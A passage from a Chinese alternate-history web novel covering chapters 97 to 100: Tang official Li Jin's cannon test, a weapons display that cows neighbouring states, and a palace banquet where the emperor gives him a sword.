观摩者们屏息凝神。李勣眯着眼,仔细打量着那黝黑的炮管和规范的操作流程。
兵部尚书则更关注炮架的结构。秋月代表皇后,目光沉静,但微微攥紧的袖口·暴露了她内心的紧张。
装填完毕,炮手退后。李瑾亲自检查了每一门炮的瞄准(通过炮身上的简易照门与准星,对准了三百步外的标靶中心),调整了俯仰角。
然后,他退到安全区域,举起一面红色小旗。
“准备——”所有人的心都提到了嗓子眼。
“放!”红旗狠狠挥下。三名站在炮尾侧的炮手,几乎同时用烧红的铁钎,点燃了炮尾火门处的引信。
嗤——引信燃烧的微弱声响,在此刻却如同惊雷般刺耳。下一刻——
“轰!!!!!!”三道橘红色的炽烈火焰,伴随着震耳欲聋、仿佛要撕裂天地的巨响,从三门炮口狂喷而出!
浓密的白色硝烟瞬间将炮位笼罩。大地剧烈一震,观摩者脚下发软,几乎站立不稳。
那声音远超以往任何一次
“闷雷”,如同九天之上的神祇发出了愤怒的咆哮,在旷野上滚滚回荡,经久不息。
远处长安城的屋瓦,似乎都在随之簌簌作响。硝烟尚未散尽,所有人的目光都死死盯住了三百步外的标靶。
只见那排厚重的土墙木靶,中间部分如同被无形的巨神之锤狠狠砸中!
泥木碎块混合着包铁木门的残片,呈放射状向后猛烈爆开、抛洒!烟尘弥漫中,可以清晰看到,标靶中央被硬生生撕开了一个巨大的豁口,边缘参差不齐,露出后方被余势未减的铁弹犁出的深沟!
而那枚铁弹,早已不知砸到后方多远的泥土中去了。静。死一般的寂静。
只有耳朵里嗡嗡的轰鸣,以及鼻腔中浓郁的火药气息,证明着刚才那毁天灭地般的一幕并非幻觉。
李勣的胡须微微颤抖,他张了张嘴,却发现自己一时失声。这位见惯了尸山血海、攻城拔寨的老帅,此刻眼中充满了无法置信的震撼。
他比任何人都清楚,要轰开那样厚实的模拟城墙,需要多么庞大的冲车、多少架
“襄砲”轰击多久!而眼前这三门貌不惊人的铁管子,一次齐射,就做到了!
这不仅仅是威力,更是一种代差的碾压!兵部尚书脸色苍白,继而涨得通红,是激动,也是恐惧。
他脑海中瞬间闪过无数画面:高句丽的城垣,吐蕃的堡寨,在如此神器面前,恐怕如同纸糊一般!
秋月轻轻吐出一口长气,松开攥紧的袖口,手指却仍在微微发抖。她仿佛看到了皇后殿下得知此消息时,眼中必然会燃起的、更加灼热的光芒。
李瑾无视了众人惊骇的目光,他快步上前,仔细检查了三门炮的炮身、炮架,尤其是炮尾和炮口。
除了发射后的正常灼热和烟渍,炮管完好无损,炮架稳固。他紧绷了近半年的心弦,终于略微一松。
成功了!虽然还有射速、精度、机动性等诸多问题需要优化,但最核心的可靠发射与毁伤能力,已经得到了验证!
“清膛!检查!准备第二轮试射,目标,右侧独立箭楼标靶,单炮点射!”李瑾的声音再次响起,打破了令人窒息的沉默。
炮手们虽然同样震撼,但长期的训练让他们迅速执行命令。清理滚烫的炮膛,重新装填。
观摩者们这才从震撼中略微回神,目光死死跟随。这一次,只有中央那门炮发射。
“轰!!!”虽然有了心理准备,但那声巨响和喷吐的火焰,依旧令人心胆俱裂。
远处那座用粗木搭建、外覆泥土的模拟箭楼,上半截在巨响中瞬间化为无数碎木与烟尘,轰然垮塌!
铁弹穿透箭楼后,又飞出一段距离才落地。无需再多言语,威力已经说明了一切。
李瑾走到李勣面前,躬身一礼:“李司空,诸位,此便是‘神机炮’。今日初成,粗陋不堪,让诸位见笑了。”李勣深吸几口气,努力平复着激荡的心绪,他上前几步,不顾炮管余热,伸手轻轻抚摸那冰冷的金属,感受着其上细微的震动余韵,良久,才长叹一声,声音带着一丝不易察觉的颤抖:“好一个‘神机炮’!神机妙算,天雷之威!李相…不,李总督,此物一出,天下坚城,皆为坦途矣!老夫…服了!真正的服了!”这位军方泰斗的
“服了”二字,重若千钧。兵部尚书也激动地语无伦次:“神器!国之神器!当立即密奏陛下、皇后殿下!当加紧铸造,装备大军!”李瑾却保持着清醒:“李司空,王尚书,此炮虽成,然铸造不易,耗费巨大,操作繁复,运输亦难。目前仅堪小规模试用,若要装备大军,形成战力,尚需时日,且需制定全新的操典、编制、后勤保障。万不可急于求成。”他的话如一盆冷水,让狂热稍退,但希望之火已熊熊燃起。
当日傍晚,一份由李瑾、李勣、兵部尚书联署的、详细描述
“神机炮”试射成功及其威力的密奏,连同一门小比例
“神机炮”模型(未装火药机构)及一枚试射后的变形铁弹,被以最高机密等级送入了紫宸殿。
据说,皇帝李治捧着那枚冰冷却沉重的铁弹,在暖阁内踱步良久,时而放声大笑,时而热泪盈眶,最后对帘后的皇后哽咽道:“媚娘,你听见了吗?父皇……父皇当年若能得此神器,何至于……何至于抱憾辽东!此乃天赐朕与皇后的祥瑞,是我大唐横扫六合的征兆啊!”武媚娘的声音透过帘幕传来,平静中蕴含着滔天的波澜:“恭喜陛下,此乃陛下圣德感天,励精图治,方有此不世出之神器来投。李相与军器监诸匠,功不可没。然如李相所奏,此物关乎国本,宜慎之又慎,缓图大用。当务之急,是严格保密,继续完善,同时…可择一恰当时机,以此神器之威,慑服那些心存不轨的跳梁小丑,亦为未来东征,积蓄更强的信心与底气。”帝后二人,在这
“神机炮”的轰鸣余音中,看到了更辉煌的未来,也意识到了更需谨慎把握的现在。
西郊试验场的
“闷雷”声,渐渐平息,但
“神机炮”初成的消息,如同投入深潭的巨石,虽未公开,其激起的暗涌,却已开始悄然改变帝国高层的心态、朝堂的势力对比,以及未来战争的形态。
一场由李瑾亲手开启的战场革命,就此拉开了序幕。**而手握这
“革命”钥匙的李瑾,在短暂的欣喜与放松后,感到了更沉的责任与更深的紧迫——他必须尽快让这把钥匙,在合适的人手中,打开那扇通往
“平边”胜利乃至更广阔天地的门。
第98章 四海威服之
贞观二十七年的深秋,长安城西郊的“闷雷”声渐渐从令人不安的异响,变成了某种强大而神秘的背景音。虽然“神机炮”的存在被列为帝国最高机密,其详情仅限于极少数核心重臣知晓,但“军器监”在李瑾主导下,正以惊人的效率和前所未有的标准化,批量产出着令人望而生畏的“新式军备”,却是不争的事实。改进型“襄砲”(配重抛石机)开始小批量装备北衙禁军和边镇精锐,其射程、精度和威力远超旧式砲车;标准化制造的强弓硬弩、精良铁甲,正通过兵部武库,源源不断输送给各地府兵;而更为恐怖的“震天雷”,则在最严格的控制下,被少量配发给了几支绝对忠诚的皇家亲军和精锐斥候,用于特殊任务。
这些新式装备的投入,如同在一池看似平静的湖水中投入了巨石,其产生的涟漪,迅速扩散至帝国的每一个角落,并最终在周边诸国、部族中,激起了滔天巨浪。一场由长安主导,以“ 武 力 炫 示” 与 “ 技 术 威 慑” 为 核 心 的、 不 流 血 的 征 服, 正 在 悄 然 上 演。 这便是“四海威服”的序曲。
最先感受到这股压力的,是那些与大唐接壤、关系时紧时松的边疆部族和政权。吐蕃的赞誉松赞干布已然故去,其孙芒松芒赞年幼,大相禄东赞掌权。这位老练的政治家与军事家,从未停止对唐蕃边境的窥探。贞观二十七年初夏,一支两千人的吐蕃精骑,以“追剿叛奴”为名,越境袭扰陇右道洮州一带,试探唐军反应。新任洮州都督,恰好是一位在北衙禁军中见识过“襄砲”齐射威力的年轻将领。他并未率军正面迎战,而是将吐蕃骑兵诱入一处预设的狭窄谷地,随后,早已部署在两侧山梁上的二十架“襄砲”,在统一号令下,将百枚“震天雷”(小型化、用弩炮或人力投掷的初级手雷/炸药包)和数百枚石弹,在短短半刻钟内倾泻而下。
谷地中,巨响连绵,火光迸现,硝烟弥漫,碎石与破片横飞。从未见识过火药威力的吐蕃战马惊恐人立,骑兵阵型大乱。不等他们从这“天雷地火”般的打击中回过神来,唐军伏兵四起,以强弩攒射,重甲步兵推进。两千吐蕃精骑,最终能逃出谷地的不足三成,主将当场被“震天雷”破片所伤,被俘后不久便伤重不治。此战,唐军自身伤亡微乎其微。逃回的吐蕃残兵,将唐军能“驱使雷霆”、“口喷烈火”的恐怖传说带回了逻些,朝野震动。禄东赞闻讯,沉默良久,最终下令严惩此次擅自行动的将领部属,并立即遣使携重礼赴长安,“解释误会”,“重申甥舅之好”,姿态前所未有的谦卑。长安方面,皇帝李治在武媚娘的建议下,对吐蕃使节不冷不热,只是重申边界不可侵犯,并“赏赐”了一批丝绸瓷器,对“新式军备”只字不提,却更添神秘。
消息传到北方草原。薛延陀汗国早已在太宗时期被击溃,但其余部及铁勒诸部、契丹、奚等,仍时常骚扰边塞。以往,唐军多以坚壁清野、骑兵驱逐、或利用归附的突厥骑兵进行反击。如今,情况发生了变化。新任的幽州都督,得到了一批“襄砲”和少量“震天雷”。在一次针对契丹入寇的反击战中,唐军骑兵在击溃敌军后,并未追击,而是用缴获的牛羊车辆,在契丹溃兵必经的一处山口,快速构筑了一道简易防线,架上十架“襄砲”。当溃兵裹挟着更多部落民企图夺路而逃时,数十枚“震天雷”在人群中炸开,紧接着是密集的石弹覆盖。爆炸的巨响、火光、烟雾,以及四处飞溅的死亡破片,彻底摧毁了草原骑兵的勇气。他们哭嚎着“唐人有雷神助战”,抛下武器,四散奔逃。此战之后,幽州以北千里边塞,竟出现了难得的宁静。诸部首领虽未正式遣使,但私下通过商人、牧民传递的畏惧与试探,已如秋草般蔓延。
然而,最让长安朝廷君臣感到振奋,也最让“平边”战略的潜在对手感到刺骨寒意的,是来自 东 方 的 消 息。** 高句丽权臣泉盖苏文,对大唐的敌意与警惕从未消退。在通过商贸渠道(高句丽一直与中原有贸易往来,尤其通过登、莱海路)零星听闻大唐“军器监”打造“神兵利器”的传闻后,他派遣了大量细作,试图渗透、打探,甚至收买工匠。然而,在军器监严密的保密制度和“格物所”匠师们日益提升的待遇与忠诚面前,这些努力大多徒劳无功,偶有收获,也不过是“新式抛车威力惊人”、“唐军铠甲愈发坚利”等模糊信息。这反而加深了泉盖苏文的焦虑。他加紧修缮辽东千里长城,囤积粮草,并频繁在边境挑衅,试图试探大唐虚实与决心。
对此,皇帝与皇后在征求李瑾、李勣等人意见后,决定采取一种 更 为 强 硬 且 直 接 的 威 慑 方 式。 贞观二十七年秋,皇帝下旨,以“ 秋 狝 大 典, 演 武 彰 国 威” 为 名, 邀 请 西 域、 吐 谷 浑、 新 罗、 百 济( 此 时 与 唐 关 系 尚 可) 等 国 使 臣, 以 及 北 方 诸 部 首 领, 齐 聚 长 安 以 西 的 皇 家 猎 场 — — 上 林 苑, 观 摩 大 唐 军 威。** 高句丽虽未在明确邀请之列,但其在长安的“质子”(泉盖苏文之子泉男生,名义上在国子监“学习”)及常驻商贾,也被“允许”在特定区域“观礼”。这无疑是一个赤裸裸的警告与实力展示。
秋高气爽,上林苑旌旗招展,甲胄鲜明。受邀的各国使节、部族首领,怀着好奇、敬畏或警惕的心情,齐聚观礼高台。皇帝李治与皇后武媚娘并坐御座,李勣、李瑾等重臣陪侍左右。李瑾作为“平边”事务的总负责人和“新式军备”的缔造者,自然成为全场瞩目的焦点之一,许多使节的目光在他与御座上的帝后之间逡巡,试图解读这位年轻权臣在帝国决策中的分量。
演武开始,传统的骑兵冲锋、步兵结阵、弓弩齐射,固然军容鼎盛,杀气盈野,令观者心折,但并未超出诸国对唐军精锐的认知。直到 “ 新 式 军 备 演 示” 环 节 开 始, 气 氛 陡 然 一 变。** 首先登场的是“襄砲”集群。五十架改良型“襄砲”在统一号令下,将百斤石弹投射至四百步外的模拟土城。石弹落地,烟尘冲天,土城瞬间崩塌一片,其射程之远、落点之集中、威力之大,远超使节们见过的任何抛石器械。新罗使臣面露喜色,百济使臣眼神复杂,而混在商贾中的高句丽人,则脸色发白。
紧接着,是“ 震 天 雷” 的 实 战 演 示。** 一处模拟的敌军营寨,被数十枚“震天雷”覆盖。震耳欲聋的连环巨响,耀眼的火光,弥漫的硝烟,以及被气浪掀飞、撕裂的木质栅栏、草人靶标,让观礼台上响起一片压抑不住的惊呼。许多人下意识地后仰,仿佛那爆炸的冲击波能波及自身。吐蕃使臣脸色凝重,禄东赞曾密令他务必弄清此“雷器”虚实,此刻亲眼所见,其震撼远超言语描述。他能想象,在狭窄地形或密集军阵中遭遇此物,将是何等噩梦。
然 而, 真 正 的 高 潮 与 压 轴 戏, 是 在 最 后。 观礼台被引导至一处更开阔、更远离人群的场地。远处,用巨木、泥土和砖石混合搭建了一座高达三丈、厚达两丈的“城墙”,其坚固程度,远超之前演示的土城。就在众人疑惑,何种器械能攻击此等坚城时,场边帷幕拉开, 三 门 覆 盖 着 油 布 的 庞 然 大 物, 被 数 十 名 士 卒 推 了 出 来。 油布掀开,露出黝黑粗壮、泛着冷光的“神机炮”炮身。与之前的“襄砲”相比,它们更显厚重、短粗,充满了一种难以言喻的力量感。
李瑾亲自下场,向御座方向遥遥一礼,然后转身,沉声下令。炮手们开始进行那套已被操练过无数遍的、刻板而精准的流程。清膛、装药、捣实、入弹、固定……每一个动作都牵动着观礼台上所有人的心弦。尤其是高句丽人和吐蕃人,几乎屏住了呼吸。
“目标,前方坚城,一轮齐射,放!”
李瑾手中令旗挥下。
“轰!!!!!!!”
三声几乎合一的、前所未有的恐怖巨响,撕裂了秋日的长空!炮口喷吐出数尺长的炽烈火焰与浓密白烟,大地仿佛在**。三枚沉重的铁质实心弹,以肉眼难以捕捉的速度,旋转着撕裂空气,带着死亡般的尖啸,狠狠砸在了远处的“城墙”上!
“砰!砰!砰!”
三声沉闷到令人心悸的撞击巨响几乎同时传来。只见那厚达两丈的坚固“城墙”,在接触点瞬间出现了三个巨大的、边缘呈放射状碎裂的凹坑,砖石泥土如雨点般崩飞!其中一枚炮弹更是嵌入了城墙内部,引发了更大范围的崩塌!烟尘弥漫,待尘埃稍定,众人骇然看见,那“城墙”正面,赫然出现了三个触目惊心、深达数尺的恐怖创口,裂痕如蛛网般蔓延,仿佛被上古巨兽的利爪狠狠刨过!
静。 死 一 般 的 寂 静。 观礼台上,无论是西域胡商,还是草原酋长,亦或是新罗、百济使臣,全都僵立在原地,脸色煞白,目光呆滞地望着那残破的“城墙”。有人手中的酒杯滑落在地,发出清脆的碎裂声,也无人理会。吐蕃使臣手中的千里镜(单筒望远镜,此时已从“格物所”流出少量作为贵重礼物)颤抖着,几乎拿不稳。而那几个高句丽人,更是面无人色,双腿发软,若非搀扶,几乎要瘫倒在地。他们仿佛看到了辽东千里长城,在如此“神器”面前,如同沙堡般脆弱不堪。
皇帝李治在御座上,尽管早已通过密奏和模型知晓“神机炮”之威,此刻亲眼目睹其摧城裂石的恐怖景象,仍然激动得面色潮红,紧紧抓住了御座的扶手。帘后的武媚娘,虽看不见表情,但那微微前倾的身姿,也显露了内心的澎湃。
李瑾走到观礼台前,声音不大,却清晰地传入每一个失魂落魄的使节耳中:“此物,名曰‘神机炮’。陛下仁德,本不欲多造杀孽。然,若有冥顽不灵、犯我大唐天威者,” 他顿了顿,目光似是不经意地扫过高句丽人和吐蕃使臣的方向,“ 此 炮 所 向, 便 是 其 覆 灭 之 时。 望 诸 位, 好 自 为 之。**”
平淡的话语,却比任何威胁都更令人胆寒。
上林苑秋狝大演武的消息,如同长了翅膀,迅速传遍四方。各国使节带着无尽的震撼与恐惧返回,他们的描述,将“神机炮”与“震天雷”渲染得如同神魔之力,唐军的形象被披上了一层不可战胜的神秘光环。
接下来的数月,大唐边境迎来了前所未有的“朝贡”与“内附”热潮。
吐蕃赞誉芒松芒赞(实为禄东赞决策)再次遣使,贡品较之前丰厚数倍,并主动提出希望“再续姻亲之好”,姿态极低。
薛延陀残部、铁勒诸部、契丹、奚等首领,或亲自,或遣子侄,携带贡品,奔赴长安,请求内附、册封,表示愿为大唐藩屏,永世不叛。以往那些“时叛时降”的戏码,似乎一夜之间绝迹了。
西域诸国,如高昌、龟兹、于阗等,本就慑于大唐兵威,如今更是敬畏有加,遣使的频率和贡品的质量都大幅提升,丝路上的商队,挂着唐字旗的,愈发畅通无阻。
甚至连一向与大唐若即若离的 西 突 厥 余 部, 以 及 中 亚 的 昭 武 九 姓 胡 国, 也 纷 纷 遣 使 通 好, 语 气 恭 顺 无 比。 而高句丽方面,虽然官方未有明确表态,但边境挑衅戛然而止,泉男生在长安的活动愈发“低调”,高句丽商贾带回去的消息,无疑加剧了平壤上层的恐慌与分歧。百济在惊惧之余,对大唐愈发恭顺,新罗则欣喜若狂,视大唐为不可动摇的靠山。
四 海 威 服, 莫 敢 仰 视! 一种前所未有的、建立在 绝 对 技 术 与 军 事 优 势 之 上 的 帝 国 霸 权 气 象, 在 贞 观 末 年, 以 一 种 前 所 未 有 的 迅 猛 姿 态, 初 步 形 成。** 朝野上下,沉浸在“万国来朝”、“天兵无敌”的振奋与自豪之中。皇帝李治的威望达到登基以来的顶峰,武媚娘“辅佐圣君、德被四海”的声名也更加响亮。而这一切荣耀的“锻造者”李瑾,其地位与声望,更是如日中天,隐然已成为帝国军事革新与“平边”战略不可替代的灵魂人物。
然而,在这“四海威服”的宏大乐章之下,不和谐的杂音也在潜滋暗长。长孙无忌、褚遂良等元老重臣,在震惊于“神机炮”威力的同时,内心的不安与忌惮也达到了顶点。他们看到的不只是外敌的臣服,更是李瑾手中那足以颠覆现有权力格局、甚至威胁到皇权本身的恐怖力量。那喷吐火焰与死亡的铁管,轰碎的不仅是敌国的城墙,也可能……是千百年来的权力运行规则。朝堂之上,针对李瑾“权柄过重”、“专奇技以邀宠”、“耗费国帑无算”的暗中非议与掣肘,并未因外部的威慑而平息,反而在一种更深的焦虑中酝酿、发酵。李瑾本人,在享受成功与荣耀的同时,也愈发清晰地感受到了那来自朝堂深处的、冰冷的警惕目光。他知道,技术带来的优势可以威慑外敌,却未必能消弭内部的倾轧。 “ 四 海 威 服” 的 光 环 之 下, 长 安 城 内 的 政 治 暗 流, 正 在 悄 然 汇 聚, 等 待 着 下 一 个 迸 发 的 契 机。 而这契机,或许就在那即将到来的、论功行赏的宫廷家宴之上。
第99章 家宴显殊荣
贞观二十七年的腊月,长安城在一片“四海威服”带来的振奋与祥和中,迎来了岁末。皇城内外,张灯结彩,预备着新年大典,但比这公开庆典更牵动朝野敏感神经的,是紫宸殿与立政殿之间传出的一个消息—— 陛 下 与 皇 后 殿 下, 将 于 腊 月 二 十 三 小 年 夜, 在 立 政 殿 设 家 宴, 款 待 有 功 之 臣。** 消息并未明确列出宴请名单,但这“家宴”二字,已足以引发无数猜测。“家宴”不同于大朝贺,规模小,氛围私密,能受邀者,非帝后心腹近臣不可。而在“平边”大业初见成效、“四海威服”声威最盛的此刻,这场“家宴”无疑将被视为帝后对核心功臣的最高规格褒奖与政治姿态的集中展示。
腊月二十三,夜幕初垂。立政殿一改往日的庄严肃穆,殿内悬挂着新制的宫灯,灯火通明,温暖如春。地衣换成了喜庆的朱红色,空气中弥漫着淡淡的瑞脑香气与御膳房传来的珍馐美味混合的诱人气息。宴会设于正殿,席位呈“品”字形布局。御座居北面南,皇后凤座稍侧于御座之右。御座 下 首 左 右 两 侧, 分 设 数 席, 这 便 是 功 臣 之 位。** 与以往大宴群臣时按照品级、资历严格排座不同,此次座次明显经过了精心的、意味深长的安排。
受邀者陆续而至。首先到来的,是 司 空 李 勣。 这位军界泰斗、开国元勋,今日未着戎装,而是一身紫袍常服,精神矍铄。他的到来,标志着这场“家宴”的规格与军方底色。内侍引其至御座 左 侧 首 席 就 坐。 这个位置,历来是宰辅或皇室尊长之位,李勣虽位高权重,但以此高龄、此功勋居此,倒也无人可指摘,更彰显了皇帝对军方元老的尊崇。李勣坦然入座,神情平静。
紧接着, 中 书 令 于 志 宁、 侍 中 褚 遂 良、 太 尉 长 孙 无 忌 等 政 事 堂 其 他 宰 辅 也 相 继 到 来。 他们被安排在李勣 下 首 及 对 面 的 席 位。 长孙无忌面色沉静,目光在掠过李勣下首那个 空 着 的、 与 李 勣 首 席 相 对 的 右 侧 首 席** 时,几不可察地微微一顿。褚遂良则眉头微蹙,与身旁的韩瑗交换了一个意味深长的眼神。按照常理,能与李勣相对的首席,若非皇室亲王,便应是文臣之首的长孙无忌。然而,长孙无忌却被安排在了稍次的位置。这个空位留给谁,答案似乎已呼之欲出。
就在众人心思浮动之际,殿外传来内侍清越的通传声:“ 同 中 书 门 下 三 品、 检 校 兵 部 尚 书、 总 督 平 边 诸 事、 军 器 监 监 正 李 瑾 到 — —”
殿内瞬间一静。所有目光齐刷刷投向殿门。
李瑾今日未着官服,亦非甲胄,而是穿着一身皇帝前日特赐的、以深青色云纹蜀锦制成的 新 式 圆 领 袍 衫, 腰束玉带,头戴黑色幞头,衬得身形挺拔,面容在灯火下更显清俊沉稳,少了几分朝堂上的锋锐,多了几分从容气度。他步履稳健,入殿后目不斜视,趋行至御座前数丈,依礼下拜:“臣李瑾,叩见陛下,皇后殿下。恭祝陛下、皇后殿下圣体安康,福泽万年。”
“李卿平身。” 御座上,皇帝李治今日气色颇佳,脸上带着难得的、毫不掩饰的愉悦笑容,虚抬了抬手,“今日家宴,不必多礼。快入座吧。”
“谢陛下,皇后殿下。” 李瑾起身。内侍早已躬身等候,引着他走向那个备受瞩目的位置—— 御 座 右 侧 首 席, 与 李 勣 相 对。 在经过长孙无忌、褚遂良席前时,李瑾微微顿步,向二人颔首致意,姿态恭谨。长孙无忌面无表情地点了点头,褚遂良则勉强扯了扯嘴角。
李瑾坦然入座。这一刻,无需任何言语, 他 在 帝 后 心 中、 在 此 刻 大 唐 权 力 格 局 中 的 地 位, 已 经 通 过 这 个 座 次, 清 晰 无 误 地 传 递 给 了 在 场 每 一 个 人。** 文臣之首长孙无忌、军方元老李勣,分列左右,而李瑾,这个以“实学”、“新政”、“平边”晋身的年轻重臣,其座次竟隐隐与李勣平齐,更在长孙无忌之上!这是前所未有的超规格礼遇,是帝后对其功劳与信任最直观的彰显。
宴会开始。帝后先举杯,与群臣共饮,庆贺岁末,感念一年辛劳。皇帝特别提到“去岁以来,内修政理,外慑不臣,皆赖诸卿同心戮力”,并点名嘉奖了李勣“老成谋国,坐镇中枢”,于志宁“勤谨公务,夙夜匪懈”,对长孙无忌、褚遂良也予以“元老辅弼,国之柱石”的褒扬,言辞恳切,面面俱到。然而,当他的目光转向李瑾时,语气中的激赏与亲近,便再也掩饰不住。
“至于李瑾,” 皇帝放下酒杯,目光灼灼,“自去岁献《平边策》以来,总揽筹备,督造军器,夙兴夜寐,殚精竭虑。去岁秋狝,震慑不臣;今岁以来,四方宾服。朕每每思之, 若 无 李 卿 之 奇 思 妙 想、 实 干 任 事, 何 来 今 日 之 局 面? 此 乃 真 正 的 干 城 之 臣, 股 肱 之 佐!** 朕与皇后,皆铭记于心。”
皇后武媚娘在侧,此时也温言开口,声音透过一层若有若无的珠帘(家宴未设垂帘,但仍以珠帘略作区隔)传来,清晰悦耳:“陛下所言极是。李相不仅于军国大计有功,于内政治理,亦多献良策。前番所献《臣轨》,陛下与本宫已细细读过,深感其拳拳忠君爱国、励精图治之心,已命刊印,年后即颁行天下,以为百官之鉴。此皆李相与诸位学士心血凝聚。”
帝后一唱一和,既肯定了李瑾的“武功”(平边、军械),也褒扬了其“文治”(《臣轨》),将其功劳提升到“文武兼资、股肱之臣”的高度。席间众人,神色各异。李勣抚须微笑,频频点头。于志宁面露欣慰。长孙无忌低头饮酒,看不清表情。褚遂良则握着酒杯的手指微微发白。
酒过三巡,气氛渐酣。皇帝似有醉意,兴致更高,竟命内侍取来一物。那是一个长条形的紫檀木盒,打开后,里面赫然是一柄 形 制 古 朴、 鞘 上 镶 嵌 着 宝 石 的 短 剑。** 剑未出鞘,已有一股肃杀之气隐隐透出。
“此剑,乃朕少年时,父皇所赐。” 皇帝拿起短剑,轻轻摩挲着剑鞘,眼中闪过一丝追忆,“父皇曾言,‘此剑名“定邦”,望汝持之,定国安邦’。朕登基以来,此剑常伴身边,未曾轻予他人。” 他顿了顿,目光扫过全场,最后定格在李瑾身上,“李卿,你上前来。”
李瑾心中一凛,连忙起身离席,快步走到御座前,再次下拜。
皇帝亲手将短剑连鞘捧起,递向李瑾:“今日,朕将此‘定邦’剑赐予你。望你持此剑, 辅 佐 朕 与 皇 后, 定 东 方 之 乱, 平 四 海 之 波, 永 固 我 大 唐 基 业!”
御 赐 先 帝 佩 剑! 这已不是寻常的赏赐,而是象征着 无 上 的 信 任、 寄 托 着 帝 王 厚 望 与 莫 大 权 柄 的 信 物!** 在座诸人,无不勃然变色!长孙无忌猛地抬头,眼中震惊与阴霾交织。褚遂良几乎要失态站起。李勣也收起了笑容,神情变得无比严肃。先帝佩剑,赐予外姓臣子,且是李瑾这样手握重兵(军械)、深受帝后信重的年轻权臣,其政治含义,简直惊心动魄!
李瑾也感到一股沉重的压力与炽热的暖流同时涌上心头。他深吸一口气,双手高举过顶,以最庄重的姿态接过那柄犹带皇帝体温的短剑,声音因激动而微微发颤,却异常清晰坚定:“ 臣, 李 瑾, 谢 陛 下 天 恩! 此 剑 在 手, 如 陛 下 亲 临, 如 先 帝 瞩 目! 臣 必 以 此 身 此 心, 效 忠 陛 下, 效 忠 皇 后 殿 下, 效 忠 大 唐 社 稷! 定 东 方, 平 四 海, 纵 肝 脑 涂 地, 在 所 不 辞! 若 有 违 此 誓, 人 神 共 弃, 天 地 不 容!**” 誓言铿锵,掷地有声。
“好!好!朕信你!” 皇帝抚掌大笑,显然极为满意。
皇后武媚娘此时也柔声道:“李相请起。陛下赐剑,是信重,亦是期许。望李相善用此剑,不负圣恩。” 她话语温和,却再次强化了赐剑的正当性与崇高性。
李瑾再次谢恩,捧着“定邦”剑,缓缓退回座位。他能感受到,那柄短剑虽轻,却重逾千斤,更感受到四面八方投射而来的、复杂到极点的目光——羡慕、嫉妒、敬畏、恐惧、警惕……不一而足。
赐剑之后,宴会的气氛变得有些微妙。长孙无忌等人显然受到了巨大冲击,接下来的应对显得有些心不在焉。皇帝似乎也意识到了什么,不再谈论具体政务,转而欣赏起殿中特意安排的乐舞。舞姬们身着彩衣,随着悠扬的乐曲翩跹起舞,但此刻,恐怕已无人能真正静心观赏。
宴会临近尾声,皇后忽又开口,对侍立一旁的秋月吩咐了几句。秋月领命退下,不多时,手捧一个描金剔红的漆盒返回。皇后示意秋月将漆盒送到李瑾面前。
“李相,” 皇后声音平和,“此乃本宫一点心意。听闻李相忙于公务,常废寝忘食。此盒中是 高 丽 国 新 进 贡 的 百 年 老 山 参 两 支, 并 些 安 神 补 气 的 宫 中 秘 制 丸 药。 望 李 相 为 国 珍 重, 保 重 身 体。 另, 还 有 本 宫 手 抄 的 《 臣 轨》 序 言 一 卷, 与 李 相 共 勉。**”
皇后赐药,已是殊恩,更赐 手 抄 《 臣 轨》 序 言, 其 中 政 治 意 味 与 亲 近 之 情, 更 是 不 言 而 喻。** 这等于是在皇帝赐剑(代表武力与授权)之后,皇后又从“文治”、“德行”与“私人关怀”的角度,对李瑾进行了加冕与抚慰。帝后配合,天衣无缝。
李瑾再次离席谢恩,双手接过漆盒,感受到其分量与温度,心中感慨万千。
家宴在一种表面和乐、内里暗流涌动的气氛中结束。帝后起驾回宫,诸臣恭送。
走出立政殿,寒风扑面,李瑾却觉得胸中热流涌动。他手中捧着御赐的“定邦”剑与皇后的赏赐,在宫灯的映照下,身影被拉得很长。他知道,经此一夜,他在朝中的地位已无可动摇,但随之而来的,也将是更加汹涌的暗流与更严峻的考验。长孙无忌、褚遂良等人离去时那沉默而复杂的背影,如同无声的警示。
李勣走在最后,经过李瑾身边时,停下脚步,拍了拍他的肩膀,花白的须发在寒风中微动,低声道:“小子, 恩 宠 已 极, 当 知 进 退, 好 自 为 之。 这柄‘定邦’剑,是荣耀,更是千斤重担,万民瞩目啊。” 言罢,不待李瑾回答,便佝偻着背,缓缓消失在宫道尽头。
李瑾独立阶前,仰望夜空。繁星点点,寒意袭人,但他手中剑与盒传来的温度,却异常清晰。今夜这家宴殊荣,将他彻底推向了帝国权力的最核心,也将他与帝后更加紧密地绑定在了一起。 共 掌 这 江 山 的 序 幕, 或 许 就 在 这 寒 夜 的 赐 剑 与 赠 言 中, 悄 然 拉 开。 前路是更辉煌的巅峰,还是更危险的深渊?他紧了紧手中的剑与盒,目光重新变得沉静而坚定。无论前路如何,他已别无选择,只能沿着这条由帝后恩宠、自身才华与时势共同铺就的道路,坚定不移地走下去。
第100章 共掌这江山
贞观二十八年的正月初一,晨曦微露,长安城还沉浸在除夕守岁的疲惫与新年伊始的希冀交织的慵懒之中,皇城之内,却已是一片庄严肃穆、气象万千。今日,不仅是新岁元日,更是皇帝李治改元“ 永 徽” 后(注:此处为情节需要,将永徽元年略作调整)的第一次大朝会,意义非比寻常。自去岁“四海威服”、“家宴显殊荣”以来,帝国中枢的权力格局已然发生了深刻而不可逆的蜕变,而今日这场大朝,便是将这全新的格局,正式昭示于天下臣工、乃至四方藩国之前的最重要舞台。
紫宸殿内,经过重新布置,气象一新。御座巍然居中,但今日,御座 右 侧 那 架 紫 檀 木 座 屏 与 月 白 垂 帘 依 旧 在, 只 是 帘 后 凤 座 的 高 度 与 规 制, 较 之 去 岁 又 有 了 几 乎 难 以 察 觉 的、 却 又 实 实 在 在 的 提 升, 与 御 座 的 距 离 也 似 乎 更 近 了 些。 帘前,新设了一张略小的紫檀御案,与皇帝的大御案并列,上面整齐摆放着朱笔、印玺及部分紧要文书。这细微的变化,落在久经宦海、嗅觉敏锐的百官眼中,不啻为一声惊雷——皇后听政,已从“旁听”、“辅佐”,向着更制度化、更平等的“ 共 治”** 迈出了实质性的一步。
